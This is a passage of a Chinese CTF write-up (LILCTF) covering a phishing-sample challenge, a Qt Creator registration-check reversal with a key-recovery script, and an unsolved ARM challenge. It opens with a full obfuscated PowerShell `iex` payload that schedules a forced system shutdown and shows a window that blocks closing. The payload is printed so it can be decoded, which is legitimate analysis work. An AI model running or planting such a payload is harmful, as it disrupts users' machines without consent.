  iex  ([CHar]36+[CHar]68+[CHar]101+[CHar]98+[CHar]117+[CHar]103+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]69+[CHar]114+[CHar]114+[CHar]111+[CHar]114+[CHar]65+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]86+[CHar]101+[CHar]114+[CHar]98+[CHar]111+[CHar]115+[CHar]101+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]87+[CHar]97+[CHar]114+[CHar]110+[CHar]105+[CHar]110+[CHar]103+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]83+[CHar]105+[CHar]108+[CHar]101+[CHar]110+[CHar]116+[CHar]108+[CHar]121+[CHar]67+[CHar]111+[CHar]110+[CHar]116+[CHar]105+[CHar]110+[CHar]117+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]91+[CHar]118+[CHar]111+[CHar]105+[CHar]100+[CHar]93+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]82+[CHar]101+[CHar]102+[CHar]108+[CHar]101+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]46+[CHar]65+[CHar]115+[CHar]115+[CHar]101+[CHar]109+[CHar]98+[CHar]108+[CHar]121+[CHar]93+[CHar]58+[CHar]58+[CHar]76+[CHar]111+[CHar]97+[CHar]100+[CHar]87+[CHar]105+[CHar]116+[CHar]104+[CHar]80+[CHar]97+[CHar]114+[CHar]116+[CHar]105+[CHar]97+[CHar]108+[CHar]78+[CHar]97+[CHar]109+[CHar]101+[CHar]40+[CHar]34+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]34+[CHar]41+[CHar]13+[CHar]10+[CHar]91+[CHar]118+[CHar]111+[CHar]105+[CHar]100+[CHar]93+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]82+[CHar]101+[CHar]102+[CHar]108+[CHar]101+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]46+[CHar]65+[CHar]115+[CHar]115+[CHar]101+[CHar]109+[CHar]98+[CHar]108+[CHar]121+[CHar]93+[CHar]58+[CHar]58+[CHar]76+[CHar]111+[CHar]97+[CHar]100+[CHar]87+[CHar]105+[CHar]116+[CHar]104+[CHar]80+[CHar]97+[CHar]114+[CHar]116+[CHar]105+[CHar]97+[CHar]108+[CHar]78+[CHar]97+[CHar]109+[CHar]101+[CHar]40+[CHar]34+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]34+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]115+[CHar]104+[CHar]117+[CHar]116+[CHar]100+[CHar]111+[CHar]119+[CHar]110+[CHar]32+[CHar]47+[CHar]115+[CHar]32+[CHar]47+[CHar]116+[CHar]32+[CHar]54+[CHar]48+[CHar]48+[CHar]32+[CHar]62+[CHar]36+[CHar]78+[CHar]117+[CHar]108+[CHar]108+[CHar]32+[CHar]50+[CHar]62+[CHar]38+[CHar]49+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]67+[CHar]105+[CHar]97+[CHar]108+[CHar]108+[CHar]111+[CHar]65374+[CHar]40+[CHar]8736+[CHar]183+[CHar]969+[CHar]60+[CHar]32+[CHar]41+[CHar]8978+[CHar]9733+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]116+[CHar]97+[CHar]114+[CHar]116+[CHar]80+[CHar]111+[CHar]115+[CHar]105+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]77+[CHar]97+[CHar]110+[CHar]117+[CHar]97+[CHar]108+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]52+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]105+[CHar]110+[CHar]105+[CHar]109+[CHar]97+[CHar]108+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]97+[CHar]120+[CHar]105+[CHar]109+[CHar]97+[CHar]108+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]66+[CHar]111+[CHar]114+[CHar]100+[CHar]101+[CHar]114+[CHar]83+[CHar]116+[CHar]121+[CHar]108+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]70+[CHar]105+[CHar]120+[CHar]101+[CHar]100+[CHar]68+[CHar]105+[CHar]97+[CHar]108+[CHar]111+[CHar]103+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]66+[CHar]97+[CHar]99+[CHar]107+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]35+[CHar]48+[CHar]48+[CHar]55+[CHar]55+[CHar]67+[CHar]67+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]97+[CHar]120+[CHar]105+[CHar]109+[CHar]105+[CHar]122+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]70+[CHar]97+[CHar]108+[CHar]115+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]84+[CHar]111+[CHar]112+[CHar]77+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]102+[CHar]70+[CHar]49+[CHar]73+[CHar]65+[CHar]52+[CHar]57+[CHar]71+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]76+[CHar]73+[CHar]76+[CHar]67+[CHar]84+[CHar]70+[CHar]123+[CHar]56+[CHar]51+[CHar]95+[CHar]86+[CHar]108+[CHar]54+[CHar]108+[CHar]49+[CHar]65+[CHar]110+[CHar]84+[CHar]95+[CHar]64+[CHar]103+[CHar]52+[CHar]105+[CHar]110+[CHar]115+[CHar]84+[CHar]95+[CHar]112+[CHar]104+[CHar]108+[CHar]53+[CHar]104+[CHar]73+[CHar]78+[CHar]71+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]102+[CHar]70+[CHar]49+[CHar]73+[CHar]65+[CHar]52+[CHar]57+[CHar]71+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]78+[CHar]48+[CHar]112+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]58+[CHar]41+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]67+[CHar]111+[CHar]110+[CHar]115+[CHar]111+[CHar]108+[CHar]97+[CHar]115+[CHar]34+[CHar]44+[CHar]32+[CHar]54+[CHar]52+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]36825+[CHar]37324+[CHar]27809+[CHar]26377+[CHar]32+[CHar]102+[CHar]108+[CHar]97+[CHar]103+[CHar]65307+[CHar]36825+[CHar]20010+[CHar]31383+[CHar]21475+[CHar]26159+[CHar]24590+[CHar]20040+[CHar]20986+[CHar]29616+[CHar]30340+[CHar]21602+[CHar]65292+[CHar]102+[CHar]108+[CHar]97+[CHar]103+[CHar]32+[CHar]23601+[CHar]22312+[CHar]37027+[CHar]37324+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]50+[CHar]52+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]24494+[CHar]36719+[CHar]38597+[CHar]40657+[CHar]34+[CHar]44+[CHar]32+[CHar]49+[CHar]54+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]20320+[CHar]30340+[CHar]30005+[CHar]33041+[CHar]23558+[CHar]22312+[CHar]32+[CHar]49+[CHar]48+[CHar]32+[CHar]20998+[CHar]38047+[CHar]21518+[CHar]20851+[CHar]26426+[CHar]65292+[CHar]35831+[CHar]20445+[CHar]23384+[CHar]20320+[CHar]30340+[CHar]24037+[CHar]20316+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]51+[CHar]48+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]24494+[CHar]36719+[CHar]38597+[CHar]40657+[CHar]34+[CHar]44+[CHar]32+[CHar]49+[CHar]54+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]67+[CHar]111+[CHar]110+[CHar]116+[CHar]114+[CHar]111+[CHar]108+[CHar]115+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]82+[CHar]97+[CHar]110+[CHar]103+[CHar]101+[CHar]40+[CHar]64+[CHar]40+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]44+[CHar]32+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]44+[CHar]32+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]41+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]95+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]110+[CHar]40+[CHar]123+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]99+[CHar]116+[CHar]105+[CHar]118+[CHar]97+[CHar]116+[CHar]101+[CHar]40+[CHar]41+[CHar]125+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]95+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]67+[CHar]108+[CHar]111+[CHar]115+[CHar]105+[CHar]110+[CHar]103+[CHar]40+[CHar]123+[CHar]13+[CHar]10+[CHar]32+[CHar]32+[CHar]32+[CHar]32+[CHar]36+[CHar]95+[CHar]46+[CHar]67+[CHar]97+[CHar]110+[CHar]99+[CHar]101+[CHar]108+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]32+[CHar]32+[CHar]32+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]93+[CHar]58+[CHar]58+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]40+[CHar]34+[CHar]19981+[CHar]20801+[CHar]35768+[CHar]20851+[CHar]38381+[CHar]65281+[CHar]34+[CHar]44+[CHar]32+[CHar]34+[CHar]25552+[CHar]31034+[CHar]34+[CHar]44+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]66+[CHar]117+[CHar]116+[CHar]116+[CHar]111+[CHar]110+[CHar]115+[CHar]93+[CHar]58+[CHar]58+[CHar]79+[CHar]75+[CHar]44+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]73+[CHar]99+[CHar]111+[CHar]110+[CHar]93+[CHar]58+[CHar]58+[CHar]73+[CHar]110+[CHar]102+[CHar]111+[CHar]114+[CHar]109+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]41+[CHar]13+[CHar]10+[CHar]125+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]68+[CHar]105+[CHar]97+[CHar]108+[CHar]111+[CHar]103+[CHar]40+[CHar]41+[CHar]32+[CHar]124+[CHar]32+[CHar]79+[CHar]117+[CHar]116+[CHar]45+[CHar]78+[CHar]117+[CHar]108+[CHar]108)  
"""

decoded_script = decode_ps_char_obfuscation(obfuscated_script)

print("\n--- 解码后的脚本内容 ---\n")
print(decoded_script)

得到原始代码

image-20250816174605287

得到flag

LILCTF{83_Vl6l1AnT_@g4insT_phl5hING}

Qt_Creator

按照题目要求安装软件,用ida打开exe

image-20250816172118660

目录里面有个网站,网站刚好有关于这个软件的源码

所以看了一下注册机怎么写的,发现注册成功后有一个提示

image-20250816172205821

先去看看注册机的源码反编译,发现一堆字符串,尝试后发现不是,说明这个应该是一个用于生成注册码的字符串

image-20250816172359359

然后尝试去string里面找看看有没有类似提示的

image-20250816172226322

找到了,这个应该就是函数主体了

image-20250816172518000

显而易见逻辑函数就在里面,我们点进去看看

image-20250816172551190

完成对逻辑函数的逆向,生成脚本

逻辑如下:

  • 字符索引为偶数,Unicode值加1
  • 字符索引为奇数,Unicode值减1
def decrypt_key(encrypted_seed):
    decrypted_chars = []
    # 使用 enumerate 同时获取索引 i 和字符 char
    for i, char in enumerate(encrypted_seed):
        # 获取字符的Unicode整数值
        original_unicode = ord(char)

        if i % 2 == 0:  # 索引为偶数
            new_unicode = original_unicode + 1
        else:  # 索引为奇数
            new_unicode = original_unicode - 1
        
        # 将新的Unicode值转换回字符并添加到列表中
        decrypted_chars.append(chr(new_unicode))
    
    # 将列表中的所有字符连接成最终的字符串
    return "".join(decrypted_chars)

if __name__ == "__main__":
    encrypted_parts = [
        "KJKDS",
        "GzR6`",
        "bsd5s",
        "1q`0t",
        "^wdsx",
        "`b1mw",
        "2oh4mu|"
    ]

    encrypted_seed = "".join(encrypted_parts)

    correct_registration_key = decrypt_key(encrypted_seed)

    print("--- 注册码解密工具 ---")
    print(f"原始加密片段: {encrypted_parts}")
    print(f"拼接后的密钥种子: {encrypted_seed}")
    print("-" * 25)
    print("解密完成!")
    print(f"正确的注册码是: {correct_registration_key}")

得到flag

LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}

ARM ASM

首先用jadx查看源代码

image-20250815172244322

然后发现需要去ez_asm_hahaha.so里看一下,导出后用ida打开

image-20250815172346403

逆向思路如下:

base64解码->逆位运算->逆向NEON

没做出来